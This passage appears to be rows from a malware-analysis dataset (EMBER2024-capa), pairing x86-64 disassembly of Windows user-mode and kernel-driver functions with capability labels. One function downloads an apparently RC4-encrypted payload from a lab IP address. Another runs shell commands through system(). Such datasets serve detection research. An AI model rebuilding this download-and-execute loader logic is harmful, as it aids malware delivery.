joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011230
Capabilities:
Terminate process

Disassembly:
jmp 0x140013de0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112b2
Capabilities:
Create thread
Terminate thread

Disassembly:
jmp 0x140012720
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rcx, [0x14002309f]
call fcn.1400113d9
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001118b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001100f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011172]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
call fcn.140011154
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011348]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x68], rax
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400112c1
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015130
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015150
xor al, al
jmp 0x1400151d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015163
xor al, al
jmp 0x1400151d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001518d
xor al, al
jmp 0x1400151d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400151a1
xor al, al
jmp 0x1400151d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400151b3
xor al, al
jmp 0x1400151d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400151cf
xor al, al
jmp 0x1400151d1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400010d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
xor esi, esi
lea rcx, str.User_Agent
mov r12, r8
mov dword [rsp + 0x60], esi
mov r13, rdx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea r14d, [rsi + 1]
mov edi, esi
mov ebx, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x14000113b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenW_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, esi
jmp 0x1400012b0
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__192.168.56.134_test_rc4.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov qword [rsp + 0x68], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x1400011a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenUrlW_Failed_With_Error_:__d__n
call fcn.140001010
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x1400012ab
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001273
lea r9, [rsp + 0x60]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000125f
nop dword [rax]
mov edx, dword [rsp + 0x60]
add rdi, rdx
test rbx, rbx
jne 0x1400011f7
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001209
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x140001273
mov r8d, dword [rsp + 0x60]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call fcn.140003ae0
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov rcx, rsi
call fcn.140002c10
cmp dword [rsp + 0x60], 0x400
jb 0x1400012c7
lea r9, [rsp + 0x60]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetReadFile_Failed_With_Error_:__d__n
call fcn.140001010
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x1400012a8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov qword [r13], rbx
mov qword [r12], rdi
jmp 0x140001276
Function at 0x140002520
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000256a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000256a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000256a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000256a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000256a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000256c
xor al, al
add rsp, 0x28
ret

Function at 0x140009714
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009504
Function at 0x14000e844
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000e8cb
mov rsi, rbx
cmp word [rax], bp
je 0x14000e88a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000e874
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000e870
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000bd30
mov rdi, rax
test rax, rax
je 0x14000e8b8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003ae0
mov rbp, rdi
xor ecx, ecx
call fcn.14000a598
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140012d2c
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140023110]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140012d8a
cmp word [rdx], r12w
jne 0x140012d8a
or byte [rax + r8*8 + 0x38], cl
jmp 0x140012d90
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x140012eeb
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x140012ec6
lea r9, [rcx + 2]
cmp ax, r13w
je 0x140012dc9
mov rcx, r9
jmp 0x140012dec
cmp r9, rdx
jae 0x140012e03
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140012dad
jmp 0x140012eeb
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140012ec0
cmp dword [rsp + 0x80], edi
je 0x140012ec0
mov rdx, r14
lea r11, [0x140023110]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140012e99
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140012e6c
mov word [rbx], r12w
jmp 0x140012ee7
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140012e75
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x140012ee7
cmp word [rsp + 0x70], r12w
jne 0x140012ea6
cmp rbx, rsi
je 0x140012e66
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.1400142b4
cmp word [rsp + 0x70], r12w
je 0x140012eeb
mov word [rbx], r13w
jmp 0x140012ee7
lea r11, [0x140023110]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140012ee3
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x140012eeb
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140015e20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140015e48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140015e48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400011c0
Capabilities:
Execute command

Disassembly:
push rbp
push rsi
sub rsp, 0x58
mov rbp, qword [rcx + 0x10]
mov rsi, rcx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, 0xa
jb 0x140001378
cmp qword [rsi + 0x18], 0xf
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x50], r14
jbe 0x140001204
mov rsi, qword [rsi]
lea r14, [rbp + 0xa]
mov ebx, 0xf
lea rdi, [rsp + 0x20]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x20], xmm0
movdqu xmmword [rsp + 0x30], xmm1
cmp r14, rbx
jbe 0x1400012a2
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001264
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.1400019d0
test rax, rax
je 0x140001325
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000129d
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000127d
xor edi, edi
jmp 0x14000129d
cmp rcx, 0x1000
jb 0x140001295
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000137e
jmp 0x140001245
call fcn.1400019d0
mov rdi, rax
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov qword [rsp + 0x30], r14
mov rdx, rsi
mov qword [rsp + 0x38], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.__nul_2_1]
lea rcx, [rsp + 0x20]
movsd qword [rdi + rbp], xmm0
movzx eax, word [0x1400033c8]
mov word [rdi + rbp + 8], ax
mov byte [rdi + r14], 0
cmp qword [rsp + 0x38], 0xf
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x38]
mov ebx, eax
cmp rdx, 0xf
jbe 0x140001331
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000132c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000132c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a0c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Success
test ebx, ebx
je 0x14000134a
lea rdx, str.Failed
call fcn.140001710
lea rdx, [0x1400018f0]
mov rcx, rax
mov rdi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x50]
add rsp, 0x58
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400011a0
int3
call fcn.140001100
int3
Function at 0x1173c
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbx, qword [rcx + 0x80]
lea rax, [0x000243e0]
lea rdi, [rcx + 0x70]
mov qword [rcx], rax
mov rsi, rcx
cmp rbx, qword [rdi + 0x10]
jne 0x1180e
cmp rdi, rdi
jne 0x1180e
cmp qword [rdi + 0x20], 0
je 0x11813
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.00018dd4
and qword [rdi + 8], 0
and qword [rdi + 0x20], 0
mov qword [rdi + 0x10], rdi
mov qword [rdi + 0x18], rdi
jmp 0x11813
mov rax, qword [rbx + 0x18]
mov rcx, rbx
mov rdx, rbx
test rax, rax
je 0x117c7
mov rbx, rax
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x117b9
jmp 0x117e9
mov rax, qword [rbx + 8]
cmp rbx, qword [rax + 0x18]
jne 0x117de
mov rdx, rax
mov rax, qword [rax + 8]
cmp rdx, qword [rax + 0x18]
je 0x117d1
cmp qword [rdx + 0x18], rax
mov rbx, rdx
cmovne rbx, rax
lea r9, [rdi + 0x18]
lea r8, [rdi + 0x10]
lea rdx, [rdi + 8]
call fcn.00015374
test rax, rax
je 0x1180a
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
dec qword [rdi + 0x20]
cmp rbx, rdi
jne 0x117aa
mov rbx, qword [rsi + 0x58]
cmp rbx, qword [rsi + 0x60]
je 0x1185a
lea rbp, [rbx + 8]
mov r8, qword [rsi + 0x60]
mov r12, qword [rbx]
cmp rbp, r8
je 0x1183d
sub r8, rbp
je 0x1183d
mov rdx, rbp
mov rcx, rbx
call fcn.00021e50
add qword [rsi + 0x60], 0xfffffffffffffff8
test r12, r12
je 0x11854
mov edx, 1
mov rcx, r12
call fcn.00014048
cmp rbx, qword [rsi + 0x60]
jne 0x11821
mov rcx, qword [rsi + 0x48]
call qword [sym.imp.ntoskrnl.exe_IoDetachDevice]
mov rcx, qword [rsi + 0x50]
call fcn.00019ce8
lea rcx, [rsi + 0x130]
call qword [sym.imp.ntoskrnl.exe_ExDeleteResourceLite]
lea rax, [0x000245e8]
mov qword [rsi + 0xa8], rax
jmp 0x118a1
and qword [rax + 0x38], 0
xor edx, edx
mov rcx, rax
mov dword [rax + 0x30], 0xc0000120
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
lea rcx, [rsi + 0xe8]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_IoCsqRemoveNextIrp]
test rax, rax
jne 0x1188a
lea rax, [0x000264c8]
mov qword [rsi + 0xa8], rax
cmp qword [rdi + 0x20], 0
je 0x118e8
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.00018dd4
and qword [rdi + 8], 0
and qword [rdi + 0x20], 0
mov qword [rdi + 0x10], rdi
mov qword [rdi + 0x18], rdi
mov rcx, qword [rsi + 0x58]
test rcx, rcx
je 0x118f9
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rcx, qword [rsi + 0x50]
test rcx, rcx
je 0x11908
mov rax, qword [rcx]
call qword [rax + 8]
and qword [rsi + 0x50], 0
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
jmp fcn.00019bac
Function at 0x141e8
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r8, qword [rdx + 0xb8]
mov rbx, rdx
xor edx, edx
cmp dword [r8 + 0x18], 0x87342000
je 0x14212
mov edi, 0xc0000010
mov dword [rbx + 0x30], edi
jmp 0x1425a
mov rdi, qword [rbx + 0x18]
mov r9d, 1
cmp word [rdi], r9w
jne 0x1424c
cmp word [rdi + 2], 2
jne 0x1424c
mov r8, rdi
mov rdx, rbx
call fcn.000142d8
xor edx, edx
cmp eax, edx
je 0x1423d
mov dword [rdi + 4], eax
mov dword [rbx + 0x30], edx
mov qword [rbx + 0x38], 0x54
mov edi, edx
jmp 0x1425e
mov rax, qword [rdi + 0x18]
cmp rax, rdx
jne 0x1426d
mov dword [rbx + 0x30], edx
mov edi, edx
mov qword [rbx + 0x38], rdx
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, edi
jmp 0x142c6
mov rax, qword [rax + 0x40]
cmp rax, rdx
je 0x14283
cmp dword [rax], 0x5465616e
jne 0x14283
mov eax, dword [rax + 4]
jmp 0x14286
or eax, 0xffffffff
cmp eax, r9d
jne 0x142b4
movzx eax, word [rdi + 2]
dec eax
cmp eax, r9d
ja 0x142b4
add byte [rbx + 0x43], r9b
lea rax, [r8 + 0x48]
mov rdx, rbx
mov qword [rbx + 0xb8], rax
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.ntoskrnl.exe_IofCallDriver]
jmp 0x142c6
mov rcx, rbx
mov dword [rbx + 0x30], edx
mov qword [rbx + 0x38], rdx
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x171d4
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x50
mov rbx, r9
mov rax, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
je 0x172ca
test rbx, rbx
je 0x172ca
and qword [r11 - 0x30], 0
and qword [r11 + 0x18], 0
mov qword [r8 + 0x10], rbx
mov r8, qword [sym.imp.ntoskrnl.exe_ExEventObjectType]
lea rcx, [r11 + 0x18]
mov r9b, 1
mov r8, qword [r8]
mov qword [r11 - 0x38], rcx
mov rcx, qword [rax + 8]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
and dword [rdi + 0x30], 0
xor edx, edx
mov rcx, rdi
mov qword [rdi + 0x38], 0x54
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov rcx, qword [rsp + 0x70]
mov r11, qword [rsi + 0x80]
test rcx, rcx
je 0x172c3
test r11, r11
je 0x172b8
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea r8d, [r9 + 1]
lea rdx, [rsp + 0x40]
lea ecx, [r9 + 2]
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x40], r11
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_KeWaitForMultipleObjects]
test eax, eax
je 0x172b3
cmp eax, 1
jne 0x172b3
mov rcx, qword [rsp + 0x70]
mov ebx, dword [rbx]
test rcx, rcx
je 0x172af
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
jmp 0x172d7
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x172c3
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, 0xc0000010
jmp 0x172d7
xor r8d, r8d
call fcn.0001b498
mov eax, 0xc000009a
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x17c54
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
lea rax, [0x00026230]
mov r12, rcx
mov qword [rcx], rax
call qword [sym.imp.ntoskrnl.exe_KeEnterCriticalRegion]
lea rcx, [r12 + 0x1f8]
mov dl, 1
call qword [sym.imp.ntoskrnl.exe_ExAcquireResourceExclusiveLite]
call qword [sym.imp.ntoskrnl.exe_KeLeaveCriticalRegion]
lea rbp, [r12 + 0x1c8]
jmp 0x17ce3
mov rsi, qword [rbx + 0x28]
lea rcx, [rsi + 0x140]
call qword [sym.imp.ntoskrnl.exe_FsRtlUninitializeFileLock]
mov r11, qword [rsi]
mov rcx, rsi
call qword [r11 + 8]
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x10]
lea rdx, [rbp + 8]
mov rcx, rbx
call fcn.00015374
test rax, rax
je 0x17cdf
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
dec qword [rbp + 0x20]
mov rbx, qword [r12 + 0x1d8]
cmp rbx, rbp
jne 0x17ca0
call qword [sym.imp.ntoskrnl.exe_KeEnterCriticalRegion]
lea rcx, [r12 + 0x1f8]
call qword [sym.imp.ntoskrnl.exe_ExReleaseResourceLite]
call qword [sym.imp.ntoskrnl.exe_KeLeaveCriticalRegion]
lea rcx, [r12 + 0x1f8]
call qword [sym.imp.ntoskrnl.exe_ExDeleteResourceLite]
cmp qword [rbp + 0x20], 0
je 0x17d3d
mov rdx, qword [rbp + 8]
mov rcx, rbp
call fcn.00018dd4
and qword [rbp + 8], 0
and qword [rbp + 0x20], 0
mov qword [rbp + 0x10], rbp
mov qword [rbp + 0x18], rbp
mov rcx, qword [r12 + 0x198]
test rcx, rcx
je 0x17d52
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rax, [0x000245e8]
mov qword [r12 + 0x108], rax
jmp 0x17d7a
and qword [rax + 0x38], 0
xor edx, edx
mov rcx, rax
mov dword [rax + 0x30], 0xc0000120
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
lea rcx, [r12 + 0x148]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_IoCsqRemoveNextIrp]
test rax, rax
jne 0x17d63
lea rax, [0x000264c8]
mov rcx, r12
mov qword [r12 + 0x108], rax
call fcn.0001c244
xor edx, edx
mov rcx, r12
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rax, r12
add rsp, 0x20
pop r12
ret
Function at 0x19084
Capabilities:
Attach user process memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x90
mov rdx, qword [rcx + 0x50]
mov rbx, rcx
mov ecx, dword [rdx + 0x1a8]
test ecx, ecx
je 0x1925d
mov eax, ecx
shr eax, 0xc
test al, 1
jne 0x190dc
mov eax, ecx
shr eax, 8
test al, 1
jne 0x190dc
shr ecx, 0xb
test cl, 1
jne 0x190dc
test byte [rdx + 0x1a8], 1
je 0x1925d
lea rcx, [rdx + 0x1c8]
xor edx, edx
call fcn.0001b538
mov rsi, rax
test rax, rax
je 0x1925d
mov rdi, qword [rax + 0x18]
and dword [rsp + 0x88], 0
xor edx, edx
lea r8d, [rdx + 0x30]
lea rcx, [rsp + 0x58]
call fcn.00022550
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_IoGetRequestorProcess]
test rax, rax
je 0x19139
lea rdx, [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov dword [rsp + 0x88], 1
mov rax, qword [rbx + 0x50]
mov r14d, 0x10
mov rcx, qword [rax + 0x1c0]
mov qword [rdi + 0x20], rcx
mov rax, qword [rbx + 0x50]
test byte [rax + 0x1a8], 1
je 0x19164
lea eax, [r14 - 2]
mov word [rdi], ax
jmp 0x191d6
xor edx, edx
lea rcx, [rdi + 0x28]
mov word [rdi], r14w
lea r8d, [rdx + 0x2c]
call fcn.00022550
mov r11, qword [rbx + 0x50]
mov eax, dword [r11 + 0x1a8]
shr eax, 0xc
test al, 1
je 0x19196
mov rcx, qword [rbx + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x20]
mov dword [rdi + 0x28], eax
mov rax, qword [rbx + 0x50]
mov ecx, dword [rax + 0x1a8]
shr ecx, 0xb
test cl, 1
je 0x191b6
mov rcx, qword [rbx + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x38]
mov qword [rdi + 0x3c], rax
mov rax, qword [rbx + 0x50]
mov ecx, dword [rax + 0x1a8]
shr ecx, 8
test cl, 1
je 0x191d6
mov rcx, qword [rbx + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov qword [rdi + 0x44], rax
and dword [rsp + 0x30], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x40], 0
and qword [rsp + 0x48], 0
lea rcx, [rsp + 0x30]
mov edx, 0x12
mov byte [rsp + 0x50], 0
call fcn.000172f0
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x28], r14d
and dword [rsp + 0x20], 0
lea r8d, [r9 + 1]
mov dl, r8b
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPagesSpecifyCache]
mov rcx, qword [rbx + 0x50]
mov r8, rdi
add rcx, 0x1c8
mov r9, rax
mov rdx, rsi
mov qword [rsp + 0x48], rax
call fcn.000171d4
lea rcx, [rsp + 0x30]
call fcn.00017424
cmp dword [rsp + 0x88], 0
je 0x1925d
lea rcx, [rsp + 0x58]
